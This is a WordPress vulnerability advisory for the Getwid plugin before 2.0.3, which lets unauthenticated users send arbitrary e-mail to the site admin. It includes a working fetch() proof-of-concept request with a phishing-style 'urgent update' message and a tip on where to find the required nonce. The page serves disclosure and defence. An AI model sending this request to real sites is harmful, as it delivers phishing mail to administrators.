WordPress Plugin Vulnerabilities

Getwid < 2.0.3 - Unauthenticated Arbitrary Email Sending to Admin

Description

Any unauthenticated user may send e-mail from the site with any title or content to the admin

Proof of Concept

fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php?action=getwid_send_mail", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[subject]=Urgent WordPress update neeeds to be installed&data[message]=Fake notification for the admin with some link to be clicked&security=4c71dae953", /* the nonce is in the page source under recaptcha_v2_contact_form key */
  "method": "POST", 
});

Affects Plugins

Fixed in 2.0.3

References

Classification

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-12-15 (about 4 months ago)
Added
2023-12-16 (about 4 months ago)
Last Updated
2023-12-16 (about 4 months ago)

Other